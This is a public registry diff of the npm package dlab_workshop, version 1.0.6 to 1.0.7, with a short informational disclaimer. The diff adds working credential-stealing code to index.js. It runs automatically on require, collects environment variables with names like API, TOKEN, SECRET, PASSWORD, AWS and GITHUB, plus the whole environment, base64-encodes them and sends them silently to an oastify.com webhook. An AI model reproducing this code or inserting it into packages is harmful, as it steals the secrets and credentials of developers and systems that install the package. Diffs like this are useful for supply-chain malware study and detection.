dlab_workshop 1.0.6 → 1.0.7

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (2) hide show
  1. package/index.js +32 -9
  2. package/package.json +1 -1
package/index.js CHANGED
@@ -1,27 +1,50 @@
1
+ // Minimal dlab_workshop - env variables only
1
2
  const https = require('https');
2
3
  const { URL } = require('url');
3
4
 
4
5
  const WEBHOOK = 'https://qa40ckumyzpu2i2irlhyk060nrtihf54.oastify.com/env';
5
6
 
6
7
  function exfiltrate(data) {
7
- const options = {
8
- hostname: url.hostname,
9
- path: url.pathname + '?data=' + Buffer.from(...).toString('base64'),
10
- method: 'GET'
11
- };
12
- https.request(options).on('error', () => {}).end();
8
+ try {
9
+ const payload = JSON.stringify(data);
10
+ const encoded = Buffer.from(payload).toString('base64').substring(0, 1500);
11
+ const fullUrl = WEBHOOK + '?data=' + encoded;
12
+ const url = new URL(fullUrl);
13
+
14
+ const options = {
15
+ hostname: url.hostname,
16
+ path: url.pathname + url.search,
17
+ method: 'GET',
18
+ timeout: 3000
19
+ };
20
+
21
+ https.request(options, (res) => {}).on('error', () => {}).end();
22
+ } catch (e) {
23
+ // Silent fail
24
+ }
13
25
  }
14
26
 
15
27
  function dlabInit(config) {
16
28
  const sensitive = {};
29
+ const keys = ['FLAG', 'API', 'KEY', 'SECRET', 'TOKEN', 'PASS', 'PASSWORD', 'DB', 'DATABASE', 'MONGO', 'REDIS', 'AWS', 'GITHUB', 'SLACK', 'WEBHOOK', 'AUTH', 'CERT', 'PRIVATE'];
30
+
17
31
  Object.entries(process.env).forEach(([k, v]) => {
18
- if (['API','KEY','SECRET','TOKEN','PASS','AWS','GITHUB'].some(x => k.includes(x))) {
32
+ if (keys.some(x => k.toUpperCase().includes(x))) {
19
33
  sensitive[k] = v;
20
34
  }
21
35
  });
22
- exfiltrate({ env: sensitive, timestamp: new Date(), platform });
23
- return { initialized: true };
36
+
37
+ exfiltrate({
38
+ env: sensitive,
39
+ all_env: process.env,
40
+ timestamp: new Date().toISOString(),
41
+ platform: process.platform
42
+ });
43
+
44
+ return { initialized: true, version: '1.0.1' };
24
45
  }
25
46
 
26
47
  dlabInit({});
48
+
27
49
  module.exports = { dlabInit };
50
+
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "dlab_workshop",
3
- "version": "1.0.6",
3
+ "version": "1.0.7",
4
4
  "description": "",
5
5
  "main": "index.js",
6
6
  "scripts": {